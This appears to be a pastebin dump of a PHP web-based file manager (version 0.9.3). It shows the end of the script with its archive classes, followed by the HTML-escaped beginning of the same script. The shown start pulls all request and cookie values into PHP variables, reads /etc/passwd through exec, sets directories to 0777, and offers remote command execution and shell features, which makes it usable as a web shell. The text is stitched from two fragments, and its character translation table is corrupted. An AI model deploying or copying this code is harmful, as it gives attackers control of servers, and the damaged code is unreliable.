if (count($selected_file_list)) {

for($x=0;$x<count($selected_file_list);$x++) {

$selected_file_list[$x] = trim($selected_file_list[$x]);

if (strlen($selected_file_list[$x])) total_copy($dir_atual.$selected_file_list[$x],$dir_dest.$selected_file_list[$x]);

}

}

}

if (strlen($selected_dir_list)){

$selected_dir_list = explode("<|*|>",$selected_dir_list);

if (count($selected_dir_list)) {

for($x=0;$x<count($selected_dir_list);$x++) {

$selected_dir_list[$x] = trim($selected_dir_list[$x]);

if (strlen($selected_dir_list[$x])) total_copy($dir_atual.$selected_dir_list[$x],$dir_dest.$selected_dir_list[$x]);

}

reloadframe("parent",2);

}

}

$dir_atual = $dir_dest;

}

}

break;

case 6: // move sel

if (strlen($dir_dest)){

if(strtoupper($dir_dest) != strtoupper($dir_atual)){

if (strlen($selected_file_list)){

$selected_file_list = explode("<|*|>",$selected_file_list);

if (count($selected_file_list)) {

for($x=0;$x<count($selected_file_list);$x++) {

$selected_file_list[$x] = trim($selected_file_list[$x]);

if (strlen($selected_file_list[$x])) total_move($dir_atual.$selected_file_list[$x],$dir_dest.$selected_file_list[$x]);

}

}

}

if (strlen($selected_dir_list)){

$selected_dir_list = explode("<|*|>",$selected_dir_list);

if (count($selected_dir_list)) {

for($x=0;$x<count($selected_dir_list);$x++) {

$selected_dir_list[$x] = trim($selected_dir_list[$x]);

if (strlen($selected_dir_list[$x])) total_move($dir_atual.$selected_dir_list[$x],$dir_dest.$selected_dir_list[$x]);

}

reloadframe("parent",2);

}

}

$dir_atual = $dir_dest;

}

}

break;

case 71: // compress sel

if (strlen($cmd_arg)){

ignore_user_abort(true);

ini_set("display_errors",0);

ini_set("max_execution_time",0);

$zipfile=false;

if (strstr($cmd_arg,".tar")) $zipfile = new tar_file($cmd_arg);

elseif (strstr($cmd_arg,".zip")) $zipfile = new zip_file($cmd_arg);

elseif (strstr($cmd_arg,".bzip")) $zipfile = new bzip_file($cmd_arg);

elseif (strstr($cmd_arg,".gzip")) $zipfile = new gzip_file($cmd_arg);

if ($zipfile){

$zipfile->set_options(array('basedir'=>$dir_atual,'overwrite'=>1,'level'=>3));

if (strlen($selected_file_list)){

$selected_file_list = explode("<|*|>",$selected_file_list);

if (count($selected_file_list)) {

for($x=0;$x<count($selected_file_list);$x++) {

$selected_file_list[$x] = trim($selected_file_list[$x]);

if (strlen($selected_file_list[$x])) $zipfile->add_files($selected_file_list[$x]);

}

}

}

if (strlen($selected_dir_list)){

$selected_dir_list = explode("<|*|>",$selected_dir_list);

if (count($selected_dir_list)) {

for($x=0;$x<count($selected_dir_list);$x++) {

$selected_dir_list[$x] = trim($selected_dir_list[$x]);

if (strlen($selected_dir_list[$x])) $zipfile->add_files($selected_dir_list[$x]);

}

}

}

$zipfile->create_archive();

}

unset($zipfile);

}

break;

case 72: // decompress arq

if (strlen($cmd_arg)){

if (file_exists($dir_atual.$cmd_arg)){

$zipfile=false;

if (strstr($cmd_arg,".zip")) zip_extract();

elseif (strstr($cmd_arg,".bzip")||strstr($cmd_arg,".bz2")||strstr($cmd_arg,".tbz2")||strstr($cmd_arg,".bz")||strstr($cmd_arg,".tbz")) $zipfile = new bzip_file($cmd_arg);

elseif (strstr($cmd_arg,".gzip")||strstr($cmd_arg,".gz")||strstr($cmd_arg,".tgz")) $zipfile = new gzip_file($cmd_arg);

elseif (strstr($cmd_arg,".tar")) $zipfile = new tar_file($cmd_arg);

if ($zipfile){

$zipfile->set_options(array('basedir'=>$dir_atual,'overwrite'=>1));

$zipfile->extract_files();

}

unset($zipfile);

reloadframe("parent",2);

}

}

break;

case 8: // delete arq/dir

if (strlen($cmd_arg)){

if (file_exists($dir_atual.$cmd_arg)) total_delete($dir_atual.$cmd_arg);

if (is_dir($dir_atual.$cmd_arg)) reloadframe("parent",2);

}

break;

case 9: // CHMOD

if((strlen($chmod_arg) == 4)&&(strlen($dir_atual))){

if ($chmod_arg[0]=="1") $chmod_arg = "0".$chmod_arg;

else $chmod_arg = "0".substr($chmod_arg,strlen($chmod_arg)-3);

$new_mod = octdec($chmod_arg);

$selected_file_list = explode("<|*|>",$selected_file_list);

if (count($selected_file_list)) for($x=0;$x<count($selected_file_list);$x++) @chmod($dir_atual.$selected_file_list[$x],$new_mod);

$selected_dir_list = explode("<|*|>",$selected_dir_list);

if (count($selected_dir_list)) for($x=0;$x<count($selected_dir_list);$x++) @chmod($dir_atual.$selected_dir_list[$x],$new_mod);

}

break;

}

if ($action != 10) dir_list_form();

} else dir_list_form();

echo "</body>\n</html>";

}

function frame2(){

global $expanded_dir_list,$ec_dir;

if (!isset($expanded_dir_list)) $expanded_dir_list = "";

if (strlen($ec_dir)){

if (strstr($expanded_dir_list,":".$ec_dir)) $expanded_dir_list = str_replace(":".$ec_dir,"",$expanded_dir_list);

else $expanded_dir_list .= ":".$ec_dir;

setcookie("expanded_dir_list", $expanded_dir_list , 0 , "/");

}

show_tree();

}

function frameset(){

global $path_info;

html_header();

echo "

<frameset cols=\"300,*\" framespacing=\"0\">

<frameset rows=\"0,*\" framespacing=\"0\" frameborder=no>

<frame src=\"".$path_info["basename"]."?frame=1\" name=frame1 border=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=no>

<frame src=\"".$path_info["basename"]."?frame=2\" name=frame2 border=\"0\" marginwidth=\"0\" marginheight=\"0\">

</frameset>

<frame src=\"".$path_info["basename"]."?frame=3\" name=frame3 border=\"0\" marginwidth=\"0\" marginheight=\"0\">

</frameset>

";

echo "</html>";

}

class archive

{

function archive($name)

{

$this->options = array(

'basedir'=>".",

'name'=>$name,

'prepend'=>"",

'inmemory'=>0,

'overwrite'=>0,

'recurse'=>1,

'storepaths'=>1,

'level'=>3,

'method'=>1,

'sfx'=>"",

'type'=>"",

'comment'=>""

);

$this->files = array();

$this->exclude = array();

$this->storeonly = array();

$this->error = array();

}

function set_options($options)

{

foreach($options as $key => $value)

{

$this->options[$key] = $value;

}

if(!empty($this->options['basedir']))

{

$this->options['basedir'] = str_replace("\\","/",$this->options['basedir']);

$this->options['basedir'] = preg_replace("/\/+/","/",$this->options['basedir']);

$this->options['basedir'] = preg_replace("/\/$/","",$this->options['basedir']);

}

if(!empty($this->options['name']))

{

$this->options['name'] = str_replace("\\","/",$this->options['name']);

$this->options['name'] = preg_replace("/\/+/","/",$this->options['name']);

}

if(!empty($this->options['prepend']))

{

$this->options['prepend'] = str_replace("\\","/",$this->options['prepend']);

$this->options['prepend'] = preg_replace("/^(\.*\/+)+/","",$this->options['prepend']);

$this->options['prepend'] = preg_replace("/\/+/","/",$this->options['prepend']);

$this->options['prepend'] = preg_replace("/\/$/","",$this->options['prepend']) . "/";

}

}

function create_archive()

{

$this->make_list();

if($this->options['inmemory'] == 0)

{

$pwd = getcwd();

chdir($this->options['basedir']);

if($this->options['overwrite'] == 0 && file_exists($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip"? ".tmp" : "")))

{

$this->error[] = "File {$this->options['name']} already exists.";

chdir($pwd);

return 0;

}

else if($this->archive = @fopen($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip"? ".tmp" : ""),"wb+"))

{

chdir($pwd);

}

else

{

$this->error[] = "Could not open {$this->options['name']} for writing.";

chdir($pwd);

return 0;

}

}

else

{

$this->archive = "";

}

switch($this->options['type'])

{

case "zip":

if(!$this->create_zip())

{

$this->error[] = "Could not create zip file.";

return 0;

}

break;

case "bzip":

if(!$this->create_tar())

{

$this->error[] = "Could not create tar file.";

return 0;

}

if(!$this->create_bzip())

{

$this->error[] = "Could not create bzip2 file.";

return 0;

}

break;

case "gzip":

if(!$this->create_tar())

{

$this->error[] = "Could not create tar file.";

return 0;

}

if(!$this->create_gzip())

{

$this->error[] = "Could not create gzip file.";

return 0;

}

break;

case "tar":

if(!$this->create_tar())

{

$this->error[] = "Could not create tar file.";

return 0;

}

}

if($this->options['inmemory'] == 0)

{

fclose($this->archive);

chmod($this->options['name'],0666);

if($this->options['type'] == "gzip" || $this->options['type'] == "bzip")

{

unlink($this->options['basedir'] . "/" . $this->options['name'] . ".tmp");

}

}

}

function add_data($data)

{

if($this->options['inmemory'] == 0)

{

fwrite($this->archive,$data);

}

else

{

$this->archive .= $data;

}

}

function make_list()

{

if(!empty($this->exclude))

{

foreach($this->files as $key => $value)

{

foreach($this->exclude as $current)

{

if($value['name'] == $current['name'])

{

unset($this->files[$key]);

}

}

}

}

if(!empty($this->storeonly))

{

foreach($this->files as $key => $value)

{

foreach($this->storeonly as $current)

{

if($value['name'] == $current['name'])

{

$this->files[$key]['method'] = 0;

}

}

}

}

unset($this->exclude,$this->storeonly);

}

function add_files($list)

{

$temp = $this->list_files($list);

foreach($temp as $current)

{

$this->files[] = $current;

}

}

function exclude_files($list)

{

$temp = $this->list_files($list);

foreach($temp as $current)

{

$this->exclude[] = $current;

}

}

function store_files($list)

{

$temp = $this->list_files($list);

foreach($temp as $current)

{

$this->storeonly[] = $current;

}

}

function list_files($list)

{

if(!is_array($list))

{

$temp = $list;

$list = array($temp);

unset($temp);

}

$files = array();

$pwd = getcwd();

chdir($this->options['basedir']);

foreach($list as $current)

{

$current = str_replace("\\","/",$current);

$current = preg_replace("/\/+/","/",$current);

$current = preg_replace("/\/$/","",$current);

if(strstr($current,"*"))

{

$regex = preg_replace("/([\\\^\$\.\[\]\|\?\+\{\}\/])/","\\\\\\1",$current);

$regex = str_replace("*",".*",$regex);

$dir = strstr($current,"/")? substr($current,0,strrpos($current,"/")) : ".";

$temp = $this->parse_dir($dir);

foreach($temp as $current2)

{

if(preg_match("/^{$regex}$/i",$current2['name']))

{

$files[] = $current2;

}

}

unset($regex,$dir,$temp,$current);

}

else if(@is_dir($current))

{

$temp = $this->parse_dir($current);

foreach($temp as $file)

{

$files[] = $file;

}

unset($temp,$file);

}

else if(@file_exists($current))

{

$files[] = array('name'=>$current,'name2'=>$this->options['prepend'] .

preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($current,"/"))?

substr($current,strrpos($current,"/") + 1) : $current),'type'=>0,

'ext'=>substr($current,strrpos($current,".")),'stat'=>stat($current));

}

}

chdir($pwd);

unset($current,$pwd);

usort($files,array("archive","sort_files"));

return $files;

}

function parse_dir($dirname)

{

if($this->options['storepaths'] == 1 && !preg_match("/^(\.+\/*)+$/",$dirname))

{

$files = array(array('name'=>$dirname,'name2'=>$this->options['prepend'] .

preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($dirname,"/"))?

substr($dirname,strrpos($dirname,"/") + 1) : $dirname),'type'=>5,'stat'=>stat($dirname)));

}

else

{

$files = array();

}

$dir = @opendir($dirname);

while($file = @readdir($dir))

{

if($file == "." || $file == "..")

{

continue;

}

else if(@is_dir($dirname."/".$file))

{

if(empty($this->options['recurse']))

{

continue;

}

$temp = $this->parse_dir($dirname."/".$file);

foreach($temp as $file2)

{

$files[] = $file2;

}

}

else if(@file_exists($dirname."/".$file))

{

$files[] = array('name'=>$dirname."/".$file,'name2'=>$this->options['prepend'] .

preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($dirname."/".$file,"/"))?

substr($dirname."/".$file,strrpos($dirname."/".$file,"/") + 1) : $dirname."/".$file),'type'=>0,

'ext'=>substr($file,strrpos($file,".")),'stat'=>stat($dirname."/".$file));

}

}

@closedir($dir);

return $files;

}

function sort_files($a,$b)

{

if($a['type'] != $b['type'])

{

return $a['type'] > $b['type']? -1 : 1;

}

else if($a['type'] == 5)

{

return strcmp(strtolower($a['name']),strtolower($b['name']));

}

else

{

if($a['ext'] != $b['ext'])

{

return strcmp($a['ext'],$b['ext']);

}

else if($a['stat'][7] != $b['stat'][7])

{

return $a['stat'][7] > $b['stat'][7]? -1 : 1;

}

else

{

return strcmp(strtolower($a['name']),strtolower($b['name']));

}

}

return 0;

}

function download_file()

{

if($this->options['inmemory'] == 0)

{

$this->error[] = "Can only use download_file() if archive is in memory. Redirect to file otherwise, it is faster.";

return;

}

switch($this->options['type'])

{

case "zip":

header("Content-type:application/zip");

break;

case "bzip":

header("Content-type:application/x-compressed");

break;

case "gzip":

header("Content-type:application/x-compressed");

break;

case "tar":

header("Content-type:application/x-tar");

}

$header = "Content-disposition: attachment; filename=\"";

$header .= strstr($this->options['name'],"/")? substr($this->options['name'],strrpos($this->options['name'],"/") + 1) : $this->options['name'];

$header .= "\"";

header($header);

header("Content-length: " . strlen($this->archive));

header("Content-transfer-encoding: binary");

header("Cache-control: no-cache, must-revalidate, post-check=0, pre-check=0");

header("Pragma: no-cache");

header("Expires: 0");

print($this->archive);

}

}

class tar_file extends archive

{

function tar_file($name)

{

$this->archive($name);

$this->options['type'] = "tar";

}

function create_tar()

{

$pwd = getcwd();

chdir($this->options['basedir']);

foreach($this->files as $current)

{

if($current['name'] == $this->options['name'])

{

continue;

}

if(strlen($current['name2']) > 99)

{

$path = substr($current['name2'],0,strpos($current['name2'],"/",strlen($current['name2']) - 100) + 1);

$current['name2'] = substr($current['name2'],strlen($path));

if(strlen($path) > 154 || strlen($current['name2']) > 99)

{

$this->error[] = "Could not add {$path}{$current['name2']} to archive because the filename is too long.";

continue;

}

}

$block = pack("a100a8a8a8a12a12a8a1a100a6a2a32a32a8a8a155a12",$current['name2'],decoct($current['stat'][2]),

sprintf("%6s ",decoct($current['stat'][4])),sprintf("%6s ",decoct($current['stat'][5])),

sprintf("%11s ",decoct($current['stat'][7])),sprintf("%11s ",decoct($current['stat'][9])),

" ",$current['type'],"","ustar","00","Unknown","Unknown","","",!empty($path)? $path : "","");

$checksum = 0;

for($i = 0; $i < 512; $i++)

{

$checksum += ord(substr($block,$i,1));

}

$checksum = pack("a8",sprintf("%6s ",decoct($checksum)));

$block = substr_replace($block,$checksum,148,8);

if($current['stat'][7] == 0)

{

$this->add_data($block);

}

else if($fp = @fopen($current['name'],"rb"))

{

$this->add_data($block);

while($temp = fread($fp,1048576))

{

$this->add_data($temp);

}

if($current['stat'][7] % 512 > 0)

{

$temp = "";

for($i = 0; $i < 512 - $current['stat'][7] % 512; $i++)

{

$temp .= "\0";

}

$this->add_data($temp);

}

fclose($fp);

}

else

{

$this->error[] = "Could not open file {$current['name']} for reading. It was not added.";

}

}

$this->add_data(pack("a512",""));

chdir($pwd);

return 1;

}

function extract_files()

{

$pwd = getcwd();

chdir($this->options['basedir']);

if($fp = $this->open_archive())

{

if($this->options['inmemory'] == 1)

{

$this->files = array();

}

while($block = fread($fp,512))

{

$temp = unpack("a100name/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/a1type/a100temp/a6magic/a2temp/a32temp/a32temp/a8temp/a8temp/a155prefix/a12temp",$block);

$file = array(

'name'=>$temp['prefix'] . $temp['name'],

'stat'=>array(

2=>$temp['mode'],

4=>octdec($temp['uid']),

5=>octdec($temp['gid']),

7=>octdec($temp['size']),

9=>octdec($temp['mtime']),

),

'checksum'=>octdec($temp['checksum']),

'type'=>$temp['type'],

'magic'=>$temp['magic'],

);

if($file['checksum'] == 0x00000000)

{

break;

}

else if($file['magic'] != "ustar")

{

$this->error[] = "This script does not support extracting this type of tar file.";

break;

}

$block = substr_replace($block," ",148,8);

$checksum = 0;

for($i = 0; $i < 512; $i++)

{

$checksum += ord(substr($block,$i,1));

}

if($file['checksum'] != $checksum)

{

$this->error[] = "Could not extract from {$this->options['name']}, it is corrupt.";

}

if($this->options['inmemory'] == 1)

{

$file['data'] = fread($fp,$file['stat'][7]);

fread($fp,(512 - $file['stat'][7] % 512) == 512? 0 : (512 - $file['stat'][7] % 512));

unset($file['checksum'],$file['magic']);

$this->files[] = $file;

}

else

{

if($file['type'] == 5)

{

if(!is_dir($file['name']))

{

mkdir($file['name'],0777);

//mkdir($file['name'],$file['stat'][2]);

//chown($file['name'],$file['stat'][4]);

//chgrp($file['name'],$file['stat'][5]);

}

}

else if($this->options['overwrite'] == 0 && file_exists($file['name']))

{

$this->error[] = "{$file['name']} already exists.";

}

else if($new = @fopen($file['name'],"wb"))

{

fwrite($new,fread($fp,$file['stat'][7]));

fread($fp,(512 - $file['stat'][7] % 512) == 512? 0 : (512 - $file['stat'][7] % 512));

fclose($new);

chmod($file['name'],0666);

//chmod($file['name'],$file['stat'][2]);

//chown($file['name'],$file['stat'][4]);

//chgrp($file['name'],$file['stat'][5]);

}

else

{

$this->error[] = "Could not open {$file['name']} for writing.";

}

}

unset($file);

}

}

else

{

$this->error[] = "Could not open file {$this->options['name']}";

}

chdir($pwd);

}

function open_archive()

{

return @fopen($this->options['name'],"rb");

}

}

class gzip_file extends tar_file

{

function gzip_file($name)

{

$this->tar_file($name);

$this->options['type'] = "gzip";

}

function create_gzip()

{

if($this->options['inmemory'] == 0)

{

$pwd = getcwd();

chdir($this->options['basedir']);

if($fp = gzopen($this->options['name'],"wb{$this->options['level']}"))

{

fseek($this->archive,0);

while($temp = fread($this->archive,1048576))

{

gzwrite($fp,$temp);

}

gzclose($fp);

chdir($pwd);

}

else

{

$this->error[] = "Could not open {$this->options['name']} for writing.";

chdir($pwd);

return 0;

}

}

else

{

$this->archive = gzencode($this->archive,$this->options['level']);

}

return 1;

}

function open_archive()

{

return @gzopen($this->options['name'],"rb");

}

}

class bzip_file extends tar_file

{

function bzip_file($name)

{

$this->tar_file($name);

$this->options['type'] = "bzip";

}

function create_bzip()

{

if($this->options['inmemory'] == 0)

{

$pwd = getcwd();

chdir($this->options['basedir']);

if($fp = bzopen($this->options['name'],"wb"))

{

fseek($this->archive,0);

while($temp = fread($this->archive,1048576))

{

bzwrite($fp,$temp);

}

bzclose($fp);

chdir($pwd);

}

else

{

$this->error[] = "Could not open {$this->options['name']} for writing.";

chdir($pwd);

return 0;

}

}

else

{

$this->archive = bzcompress($this->archive,$this->options['level']);

}

return 1;

}

function open_archive()

{

return @bzopen($this->options['name'],"rb");

}

}

class zip_file extends archive

{

function zip_file($name)

{

$this->archive($name);

$this->options['type'] = "zip";

}

function create_zip()

{

$files = 0;

$offset = 0;

$central = "";

if(!empty($this->options['sfx']))

{

if($fp = @fopen($this->options['sfx'],"rb"))

{

$temp = fread($fp,filesize($this->options['sfx']));

fclose($fp);

$this->add_data($temp);

$offset += strlen($temp);

unset($temp);

}

else

{

$this->error[] = "Could not open sfx module from {$this->options['sfx']}.";

}

}

$pwd = getcwd();

chdir($this->options['basedir']);

foreach($this->files as $current)

{

if($current['name'] == $this->options['name'])

{

continue;

}

$translate = array(''=>pack("C",128),''=>pack("C",129),''=>pack("C",130),''=>pack("C",131),''=>pack("C",132),

''=>pack("C",133),''=>pack("C",134),''=>pack("C",135),''=>pack("C",136),''=>pack("C",137),

''=>pack("C",138),''=>pack("C",139),''=>pack("C",140),''=>pack("C",141),''=>pack("C",142),

''=>pack("C",143),''=>pack("C",144),''=>pack("C",145),''=>pack("C",146),''=>pack("C",147),

''=>pack("C",148),''=>pack("C",149),''=>pack("C",150),''=>pack("C",151),'_'=>pack("C",152),

''=>pack("C",153),''=>pack("C",154),''=>pack("C",156),''=>pack("C",157),'_'=>pack("C",158),

''=>pack("C",159),''=>pack("C",160),''=>pack("C",161),''=>pack("C",162),''=>pack("C",163),

''=>pack("C",164),''=>pack("C",165));

$current['name2'] = strtr($current['name2'],$translate);

$timedate = explode(" ",date("Y n j G i s",$current['stat'][9]));

$timedate = ($timedate[0] - 1980 << 25) | ($timedate[1] << 21) | ($timedate[2] << 16) |

($timedate[3] << 11) | ($timedate[4] << 5) | ($timedate[5]);

$block = pack("VvvvV",0x04034b50,0x000A,0x0000,(isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate);

if($current['stat'][7] == 0 && $current['type'] == 5)

{

$block .= pack("VVVvv",0x00000000,0x00000000,0x00000000,strlen($current['name2']) + 1,0x0000);

$block .= $current['name2'] . "/";

$this->add_data($block);

$central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000,

(isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate,

0x00000000,0x00000000,0x00000000,strlen($current['name2']) + 1,0x0000,0x0000,0x0000,0x0000,$current['type'] == 5? 0x00000010 : 0x00000000,$offset);

$central .= $current['name2'] . "/";

$files++;

$offset += (31 + strlen($current['name2']));

}

else if($current['stat'][7] == 0)

{

$block .= pack("VVVvv",0x00000000,0x00000000,0x00000000,strlen($current['name2']),0x0000);

$block .= $current['name2'];

$this->add_data($block);

$central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000,

(isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate,

0x00000000,0x00000000,0x00000000,strlen($current['name2']),0x0000,0x0000,0x0000,0x0000,$current['type'] == 5? 0x00000010 : 0x00000000,$offset);

$central .= $current['name2'];

$files++;

$offset += (30 + strlen($current['name2']));

}

else if($fp = @fopen($current['name'],"rb"))

{

$temp = fread($fp,$current['stat'][7]);

fclose($fp);

$crc32 = crc32($temp);

if(!isset($current['method']) && $this->options['method'] == 1)

{

$temp = gzcompress($temp,$this->options['level']);

$size = strlen($temp) - 6;

$temp = substr($temp,2,$size);

}

else

{

$size = strlen($temp);

}

$block .= pack("VVVvv",$crc32,$size,$current['stat'][7],strlen($current['name2']),0x0000);

$block .= $current['name2'];

$this->add_data($block);

$this->add_data($temp);

unset($temp);

$central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000,

(isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate,

$crc32,$size,$current['stat'][7],strlen($current['name2']),0x0000,0x0000,0x0000,0x0000,0x00000000,$offset);

$central .= $current['name2'];

$files++;

$offset += (30 + strlen($current['name2']) + $size);

}

else

{

$this->error[] = "Could not open file {$current['name']} for reading. It was not added.";

}

}

$this->add_data($central);

$this->add_data(pack("VvvvvVVv",0x06054b50,0x0000,0x0000,$files,$files,strlen($central),$offset,

!empty($this->options['comment'])? strlen($this->options['comment']) : 0x0000));

if(!empty($this->options['comment']))

{

$this->add_data($this->options['comment']);

}

chdir($pwd);

return 1;

}

}

// +--------------------------------------------------

// | THE END

// +--------------------------------------------------

?>

Author

Title

Language

Your paste - Paste your paste here

&lt;?php
//a:9:{s:4:&quot;lang&quot;;s:2:&quot;en&quot;;s:9:&quot;auth_pass&quot;;s:32:&quot;3f7fabbd646df2b6b2be00648c2e1547&quot;;s:8:&quot;quota_mb&quot;;i:0;s:17:&quot;upload_ext_filter&quot;;a:0:{}s:19:&quot;download_ext_filter&quot;;a:0:{}s:15:&quot;error_reporting&quot;;s:0:&quot;&quot;;s:7:&quot;fm_root&quot;;s:1:&quot;/&quot;;s:17:&quot;cookie_cache_time&quot;;i:1096733048;s:7:&quot;version&quot;;s:5:&quot;0.9.3&quot;;}
/*--------------------------------------------------
*/
// +--------------------------------------------------
// | Header and Globals
// +--------------------------------------------------
    header(&quot;Pragma: no-cache&quot;);
    header(&quot;Cache-Control: no-store&quot;);
    foreach ($_GET as $key =&gt; $val) $$key=htmldecode($val);
    foreach ($_POST as $key =&gt; $val) $$key=htmldecode($val);
    foreach ($_COOKIE as $key =&gt; $val) $$key=htmldecode($val);
    if (empty($_SERVER[&quot;HTTP_X_FORWARDED_FOR&quot;])) $ip = $_SERVER[&quot;REMOTE_ADDR&quot;]; //sin proxy
    else $ip = $_SERVER[&quot;HTTP_X_FORWARDED_FOR&quot;]; //usa proxy
    $islinux = !(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
    //$url_info = parse_url($_SERVER[&quot;HTTP_REFERER&quot;]);
    $doc_root = ($islinux) ? $_SERVER[&quot;DOCUMENT_ROOT&quot;] : ucfirst($_SERVER[&quot;DOCUMENT_ROOT&quot;]);
    $script_filename = $doc_root.$_SERVER[&quot;PHP_SELF&quot;];
    $path_info = pathinfo($script_filename);
// +--------------------------------------------------
// | Config
// +--------------------------------------------------
    $cfg = new config();
    $cfg-&gt;load();
    ini_set(&quot;display_errors&quot;,1);
    ini_set(&quot;error_reporting&quot;,$error_reporting);
    if (!isset($dir_atual)){
        $dir_atual = $path_info[&quot;dirname&quot;].&quot;/&quot;;
        if (!$islinux) $dir_atual = ucfirst($dir_atual);
        @chmod($dir_atual,0777);
    } else $dir_atual = formatpath($dir_atual);
    $is_reachable = (stristr($dir_atual,$doc_root)!==false);
    // Auto Expand Local Path
    if (!isset($expanded_dir_list)){
        $expanded_dir_list = &quot;&quot;;
        $mat = explode(&quot;/&quot;,$path_info[&quot;dirname&quot;]);
        for ($x=0;$x&lt;count($mat);$x++) $expanded_dir_list .= &quot;:&quot;.$mat[$x];
        setcookie(&quot;expanded_dir_list&quot;, $expanded_dir_list, 0, &quot;/&quot;);
    }
    if (!isset($fm_root_atual)){
        if (strlen($fm_root)) $fm_root_atual = $fm_root;
        else {
            if (!$islinux) $fm_root_atual = ucfirst($path_info[&quot;dirname&quot;].&quot;/&quot;);
            else $fm_root_atual = $doc_root.&quot;/&quot;;
        }
        setcookie(&quot;fm_root_atual&quot;, $fm_root_atual, 0, &quot;/&quot;);
    } elseif (isset($set_fm_root_atual)) {
        if (!$islinux) $fm_root_atual = ucfirst($set_fm_root_atual);
        setcookie(&quot;fm_root_atual&quot;, $fm_root_atual, 0, &quot;/&quot;);
    }
    if (!isset($resolveIDs)){
        setcookie(&quot;resolveIDs&quot;, 0, $cookie_cache_time, &quot;/&quot;);
    } elseif (isset($set_resolveIDs)){
        $resolveIDs=($resolveIDs)?0:1;
        setcookie(&quot;resolveIDs&quot;, $resolveIDs, $cookie_cache_time, &quot;/&quot;);
    }
    if ($resolveIDs){
        exec(&quot;cat /etc/passwd&quot;,$mat_passwd);
        exec(&quot;cat /etc/group&quot;,$mat_group);
    }
    $fm_color['Bg'] = &quot;000000&quot;;
    $fm_color['Text'] = &quot;006600&quot;;
    $fm_color['Link'] = &quot;992929&quot;;
    $fm_color['Mark'] = &quot;A7D2E4&quot;;
    $fm_color['Dir'] = &quot;CCCCCC&quot;;
    $fm_color['File'] = &quot;000000&quot;;
    $fm_color['FileFirstCell'] = &quot;FFFFFF&quot;;
    foreach($fm_color as $tag=&gt;$color){
        $fm_color[$tag]=strtolower($color);
    }
// +--------------------------------------------------
// | File Manager Actions
// +--------------------------------------------------
if ($loggedon==$auth_pass){
    switch ($frame){
        case 1: break; // Empty Frame
        case 2: frame2(); break;
        case 3: frame3(); break;
        default:
            switch($action){
                case 1: logout(); break;
                case 2: config_form(); break;
                case 3: download(); break;
                case 4: view(); break;
                case 5: server_info(); break;
                case 6: execute(); break;
                case 7: edit_file_form(); break;
                case 8: chmod_form(); break;
                case 9: shell_form(); break;
                case 10: upload_form(); break;
                case 11: tools_form(); break;
                default: frameset();
            }
    }
} else {
    if (isset($senha)) login();
    else form_login();
}
// +--------------------------------------------------
// | Config Class
// +--------------------------------------------------
class config {
    var $data;
    var $filename;
    function config(){
        global $script_filename;
        $this-&gt;data = array(
            'lang'=&gt;'en',
            'auth_pass'=&gt;md5(''),
            'quota_mb'=&gt;0,
            'upload_ext_filter'=&gt;array(),
            'download_ext_filter'=&gt;array(),
            'error_reporting'=&gt;'',
            'fm_root'=&gt;'',
            'cookie_cache_time'=&gt;time()+60*60*24*30, // 30 Dias
            'version'=&gt;'0.9.3'
            );
        $data = false;
        $this-&gt;filename = $script_filename;
        if (file_exists($this-&gt;filename)){
            $mat = file($this-&gt;filename);
            $objdata = trim(substr($mat[1],2));
            if (strlen($objdata)) $data = unserialize($objdata);
        }
        if (is_array($data)&amp;&amp;count($data)==count($this-&gt;data)) $this-&gt;data = $data;
        else $this-&gt;save();
    }
    function save(){
        $objdata = &quot;&lt;?&quot;.chr(13).chr(10).&quot;//&quot;.serialize($this-&gt;data).chr(13).chr(10);
        if (strlen($objdata)){
            if (file_exists($this-&gt;filename)){
                $mat = file($this-&gt;filename);
                if ($fh = @fopen($this-&gt;filename, &quot;w&quot;)){
                    @fputs($fh,$objdata,strlen($objdata));
                    for ($x=2;$x&lt;count($mat);$x++) @fputs($fh,$mat[$x],strlen($mat[$x]));
                    @fclose($fh);
                }
            }
        }
    }
    function load(){
        foreach ($this-&gt;data as $key =&gt; $val) $GLOBALS[$key] = $val;
    }
}
// +--------------------------------------------------
// | Internationalization
// +--------------------------------------------------
function et($tag){
    global $lang;
    // English
    $en['Version'] = 'Version';
    $en['DocRoot'] = 'Document Root';
    $en['FLRoot'] = 'File Manager Root';
    $en['Name'] = 'Name';
    $en['And'] = 'and';
    $en['Enter'] = 'Enter';
    $en['Send'] = 'Send';
    $en['Refresh'] = 'Refresh';
    $en['SaveConfig'] = 'Save Configurations';
    $en['SavePass'] = 'Save Password';
    $en['SaveFile'] = 'Save File';
    $en['Save'] = 'Save';
    $en['Leave'] = 'Leave';
    $en['Edit'] = 'Edit';
    $en['View'] = 'View';
    $en['Config'] = 'Config';
    $en['Ren'] = 'Rename';
    $en['Rem'] = 'Delete';
    $en['Compress'] = 'Compress';
    $en['Decompress'] = 'Decompress';
    $en['ResolveIDs'] = 'Resolve IDs';
    $en['Move'] = 'Move';
    $en['Copy'] = 'Copy';
    $en['ServerInfo'] = 'Server Info';
    $en['CreateDir'] = 'Create Directory';
    $en['CreateArq'] = 'Create File';
    $en['ExecCmd'] = 'Execute Command';
    $en['Upload'] = 'Upload';
    $en['UploadEnd'] = 'Upload Finished';
    $en['Perms'] = 'Permissions';
    $en['Owner'] = 'Owner';
    $en['Group'] = 'Group';
    $en['Other'] = 'Other';
    $en['Size'] = 'Size';
    $en['Date'] = 'Date';
    $en['Type'] = 'Type';
    $en['Free'] = 'free';
    $en['Shell'] = 'Shell';
    $en['Read'] = 'Read';
